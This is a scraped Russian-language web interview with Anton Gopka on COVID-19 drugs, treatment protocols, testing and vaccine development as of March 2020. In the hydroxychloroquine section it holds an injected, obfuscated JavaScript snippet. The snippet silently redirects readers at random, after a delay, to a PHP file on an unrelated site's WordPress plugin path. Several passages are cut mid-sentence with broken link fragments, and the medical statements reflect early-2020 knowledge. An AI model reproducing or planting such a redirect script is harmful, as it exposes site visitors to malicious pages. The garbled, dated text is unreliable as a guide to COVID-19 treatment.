Лечение коронавируса: препараты, протоколы, исследования

Какие лекарства сейчас применяют при коронавирусе? Причем здесь препараты от ВИЧ и малярии? Как они работают? Что обсуждают в научном сообществе? И чем отличаются российские протоколы лечения от иностранных? На эти и другие вопросы специально для СПИД.ЦЕНТРа ответил Антон Гопка, генеральный партнер биотехфонда ATEM Capital, член Консультационного совета Национального института рака США, декан факультета itmotech Университета ИТМО.

— Мы знаем, что сейчас нет подтвержденных лекарств от коронавируса COVID-19. Тогда с чем борются медики? Какие препараты они дают?

— В настоящее время зарегистрированных лекарств с доказанной эффективностью против заболевания COVID-19, вызываемого вирусом SARS-CoV-2, нет. Врачи вынуждены работать с временными протоколами лечения в крайне тяжелых условиях повышенной нагрузки и неопределенности, с риском для жизни. Я слежу за обновлениями — подробные инструкции постоянно обновляет CDC (Центр по контролю и профилактике заболеваний) в США. В моем распоряжении оказался текущий протокол лечения от 17 марта одной из лучших клиник в мире — Massachusetts General Hospital, в котором представлен практически весь арсенал препаратов на данный момент. Важно понимать, что «чудо-таблеток» нет и завтра не будет.

Врачи уже дают пациентам препарат хлорохин/гидроксихлорохин, который FDA одобрила более 70 лет назад, он используется при малярии и ревматоидном артрите и не одобрен по показаниям для COVID-19. Основание для его использования — китайский опыт и небольшое клиническое исследование с 36 пациентами, проведенное во Франции и предварительно опубликованное во вторник, 17 марта. По данным этого исследования, у пациентов отмечалось снижение вирусной нагрузки. Эффект усиливался при использовании препарата в комбинации с антибиотиком азитромицином.

О необходимости его применения заявил президент США Дональд Трамп 20 и 21 марта в своем микроблоге. Важно понимать, что такая «реклама» от президента совершенно неуместна и потенциально крайне вредна: поскольку препарат небезопасен, его нельзя использовать в профилактических целях и у него множество доказанных взаимодействий с другими лекарствами. Препарат можно использовать только по назначению врача с учетом персональной клинической картины пациента. Но в связи с выступлением президента препарат уже начинает пропадать из аптек, по некоторым данным, запросы на лекарство от клиник США в течение первых двух недель марта выросли в десятки раз, а «Большая фарма» резко увеличивает объем его производства. В частности, компания Mylan планирует увеличить объемы до 50 миллионов таблеток. Другие компании пообещали предоставить огромные объемы препарата даром, включая Novartis — 130 миллионов таблеток, Teva — to-donate-potential-covid-19-treatment-hydroxychloroquine-sulfate-tablets-to-hospitals-nationwide-/”>16 и Bayer — 3.

$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and-press/company-statements/gilead-sciences-statement-on-access-to-remdesivir-outside-of-clinical-trials”>объявила, что приостанавливает доступ к препарату по этому протоколу после предоставления его сотням пациентов в США, Европе и Японии «в связи со спросом в последние дни, который не соответствует целям протокола».

Если пациенту по той или иной причине невозможно дать remdesivir, то предполагается применение препарата Kaletra от AbbVie — это комбинация активных веществ против ВИЧ (лопинавира и ритонавира). При этом в случае ВИЧ-положительных пациентов требуется учитывать их обычную схему. К сожалению, в среду 18 марта в журнале The New England Journal of Medicine были опубликованы негативные результаты клинического исследования препарата на 199 пациентах. Хотя данные пока не показывают статистически значимого эффекта, вероятно, будут проводиться дополнительные клинисследования.

В случае проявления синдрома высвобождения цитокинов (мощной воспалительной реакции) активно используется препарат Actemra (тоцилизумаб) от компании Roche/Genentech, который обычно применяется для лечения ревматоидного артрита. Восемнадцатого марта объявили, что по этому препарату только запускаются клинические исследований третьей фазы, чтобы подтвердить эффективность применительно к пневмонии при COVID-19.

В российских временных клинических рекомендациях Минздрава не предполагается использование ни хлорохина, ни remdesivir, ни Actembra. Тяжелым пациентам дают интерферон, который в Массачусеттском госпитале дают только в тяжелых случаях при ухудшении и только на фоне противовирусной терапии. Этот препарат, согласно самим рекомендациям Минздрава, «может вызывать тяжелые побочные эффекты (прежде всего анемию и тромбоцитопению)». Также пациентам дают рибавирин, устаревший препарат, который применяется для терапии гепитата С. Но ожидается, что рекомендации будут обновляться каждые 2-3 недели (последняя версия от 3 марта), и, возможно, гидроксихлорохин будет включен в следующей версии.

8,3 миллиарда долларов на обеспечение готовности и реагирования в связи с распространением вируса, из которых более 3 миллиардов выделили на исследования и разработки вакцин, препаратов и средств диагностики. В такой ситуации темп разработок действительно впечатляет.

С другой стороны, могут быть сформированы неверные ожидания, что наука может предоставить «чудо-лекарства» по запросу — это не так. Именно поэтому необходимо финансировать фундаментальную науку и дорого оплачивать инновационные препараты не в дни кризиса, а на постоянной основе.

по теме

лечение

Цепная реакция. Как работают тесты на коронавирус?

Первый шаг в борьбе с вирусом — организация массового и качественного тестирования для мониторинга ситуации, поскольку большое количество незадокументированных случаев приводит к стремительному разрастанию эпидемии. К сожалению, информации про тесты, которые использовались в России до сих пор, от новосибирского ГНЦ «Вектор», крайне мало. Роспотребнадзор не отвечает на запросы и не предоставляет какой-либо технической информации. Из открытых обзоров известно, что тесты требуют проведения работ в лабораториях 3-го уровня биозащиты (BSL-3) и не являются комплектными, то есть собираются из разных элементов, включая сторонних производителей. Соответственно, решение сложно масштабируемо, велики риски контаминации биообразцов. На сайте Сергея Собянина в пятницу было одобрении FDA ее теста для COVID-19 — это первый одобренный тест в формате картриджа для предустановленного оборудования GeneXpert, которое доступно по всему миру — всего установок более 23 000. Все этапы молекулярного анализа от Cepheid реализуются в цельном картридже, а результат представляется в течение 45 минут, в отличие от текущих систем, где счет идет на дни. Данное решение позволяет проводить массовое тестирование вне лабораторий.

Я пообщался с Марией Кашириной, главой Cepheid по России. Она сообщила, что практически во всех туберкулезных центрах России сегодня уже установлены системы GeneXpert, совокупно их около трехсот. В том числе и в удаленных регионах: Якутии, Анадыре, Чукотке и других. В США продукт одобрили по ускоренной процедуре экстренного разрешения на применение (Emergency Use Authorisation), это правило появилось в 2013 году в связи со вспышкой лихорадки эболы. Аналогичной процедуры в России не предусмотрено, но сейчас в короткие сроки целый ряд государственных и частных лабораторий могут получить разрешение на проведение тестов. Возможно, картридж Cepheid получится провести в рамках такой процедуры.

Впрочем, все эти тесты работают по принципу ПЦР (полимеразной цепной реакции), который при должной чувствительности позволяет обнаружить наличие РНК вируса у тестируемого. В ближайшем будущем будут актуальны тесты, которые проверяют наличие антител на SARS-CoV-2, то есть наличие иммунитета у тестируемого, чтобы постепенно возвращать людей с иммунитетом к активной экономической деятельности.

Антон Гопка

Также быстрее всего можно осуществить репозиционирование уже известных лекарств для использования их против заболевания COVID-19 или его осложнений. Такими препаратами как раз и являются гидроксихлорохин и препараты против ВИЧ (Калетра и другие). Впрочем, remdesivir от Gilead также можно относительно быстро продвинуть, поскольку его безопасность уже подтверждена в рамках клинических исследований по показанию против лихорадки эболы.

В разработке есть и ряд прорывных лекарств. Несколько компаний-разработчиков (Regeneron, Eli Lilly/AbCelera) изучают антитела, которые выработали иммунные системы в людях, переживших заболевание, и которые, по-видимому, помогли справиться с вирусом. Другие (Alnylam/Vir) изучают генетический материал вируса (РНК) и ищут фрагменты РНК, которые являются критически необходимыми для жизненного цикла всего семейства коронавирусов и, предположительно, не могут мутировать. Если блокировать эти фрагменты, можно предотвратить распространение всех видов коронавирусов. В любом случае большинство разработок находится на ранних фазах и вряд ли будет доведено до рынка в течение этого года.

Окончательное системное решение будет обеспечено вакцинами. Двадцатого марта ВОЗ Moderna (США) и CanSino Biologics (Китай). Разработок действительно много, но до одобрения вакцины по-прежнему еще очень далеко. В обычном сценарии разработка вакцины требует порядка десяти лет. В сегодняшних реалиях такие разработки будут вестись в исключительном порядке. Однако в интервью редактору журнала американской медицинской ассоциации глава Национального института аллергии и инфекционных заболеваний США Энтони Фаучи ответственно заявил, что в самом оптимистичном сценарии в течение года или полутора лет мы сможем только доказать (или опровергнуть) эффективность той или иной вакцины. При этом остается риск, что вакцину будет просто невозможно разработать — поскольку стимулирование иммунной системы может привести к худшим последствиям, чем использование противовирусных препаратов.

Вообще многое можно предположить на примере разработки препаратов и вакцин против лихорадки эболы. Разработок тогда было тоже несколько десятков. В итоге одобрена только одна вакцина от Merck в декабре прошлого года. Клинические исследования по ней завершились еще в 2016 году, а впервые ее синтезировали ученые из Агентства здравоохранения Канады еще в 2003. Также надо помнить, что вакцины против предыдущих патогенных коронавирусов SARS и MERS нет до сих пор, хотя соответствующие разработки тоже велись.

— А как работают эти потенциальные лекарства от коронавируса? Как устроена их механика?

— Механика этих препаратов достаточно понятная, здесь нет никакой «мистики», только обычная химия и физика. Хлорохин (и производный от него более безопасный гидроксихлорохин) предотвращает вход многих вирусов в клетки. Оболочечные вирусы, в том числе коронавирус, проникают в клетки с помощью слияния вирусной и клеточной мембран и формирования «пузырьков» (эндосом) внутри клетки с содержимым из внеклеточных объектов, в данном случае вирусов. По мере продвижения таких «пузырьков» внутри клетки они «раскрываются» из-за разного уровня кислотности содержимого эндосом и внутриклеточных жидкостей. Хлорохин меняет уровень кислотности внутри эндосом и затрудняет такое слияние мембран и высвобождение вирусного содержимого эндосом.

Другой очевидный вопрос, как препарат remdesivir, разработанный против лихорадки эболы, вдруг начнет действовать против коронавируса. На самом деле remdesivir не борется с вирусом непосредственно. Мне понравились аналогии в западных изданиях — там сравнивали действие препарата с блокировкой копировальной машины. Молекула remdesivir похожа на аденозин, одну из четырех букв в коде РНК, и при копировании вируса эта молекула вставляется вместо аденозина. Но молекула так устроена, что после нее уже не получается дальше формировать цепочку РНК, и вирус лишается возможности собрать свой геном целиком. Таким образом, копировальная машина вируса ломается, и патоген вычищается из организма. Впрочем, важно понимать, что этот препарат поможет только в начале течения заболевания.

— В Китае применялась комбинация лопинавира и ритонавира вместе с интерфероном и вроде бы была активна в отношении нового коронавируса. Даже в американские гайдлайны по COVID-19 входят аналоги. Это все потому, что их использовали при лечении прошлых эпидемий коронавируса?

— Да, действительно были проведены лабораторные исследования, которые показали, что lopinavir ингибирует вирусы SARS и MERS, но механизм действия обнаружен не был. К препаратам с недоказанным механизмом действия все регуляторы относятся крайне настороженно. Последние данные клинических исследований показывают неутешительные результаты, поэтому, предположительно, постепенно такое off-label использование, то есть применение не по показанию, будет снижаться.

здесь). В любом случае, чтобы доказать эффективность арбидола против коронавируса, потребуется несколько лет и существенные рискованные инвестиции, которые, предположительно, никто не готов осуществлять.

— Про коронавирусы мы знаем давно, но с нынешней вариацией столкнулись впервые. Как вообще искать и подбирать препараты для лечения новых заболеваний?

— Для начала требуется многие годы заниматься достаточно отвлеченными фундаментальными научными вопросами вирусологии. Группы ученых могут много лет или даже десятилетия изучать семейство вирусов, включая те, которые сегодня не угрожают людям; разбираться в физико-химических свойствах каждого белка, РНК-последовательностей генома вируса (представлен ниже) и так далее. Все эти действия требуют достаточно большого финансирования и не предполагают разработку лекарств в качестве результата. Предсказать, какой именно следующий патоген вызовет пандемию, абсолютно нереалистично, поэтому нет возможности «оптимизировать» инвестиции привычным путем — выбрать только те исследования, которые будут гарантированно полезны и приведут к «чудо-таблетке». В данном случае необходимо полагаться на мнения ученых, которые понимают, что является наиболее неисследованным или парадоксальным в объекте их изучения.

В момент выявления нового патогена у ученых в итоге будут готовые систематизированные знания и инструменты для сравнения и изучения нового вируса, соответственно, степень «боеготовности» и скорость реагирования фармацевтической отрасли существенно вырастают. Далее необходимо постоянное, а не спонтанное финансирование разработок в секторе Life Sciences и фармбизнесе, чтобы новые механизмы действия против опасных бактерий и вирусов появлялись чаще, чем раз в десятилетие.

Подписывайтесь на канал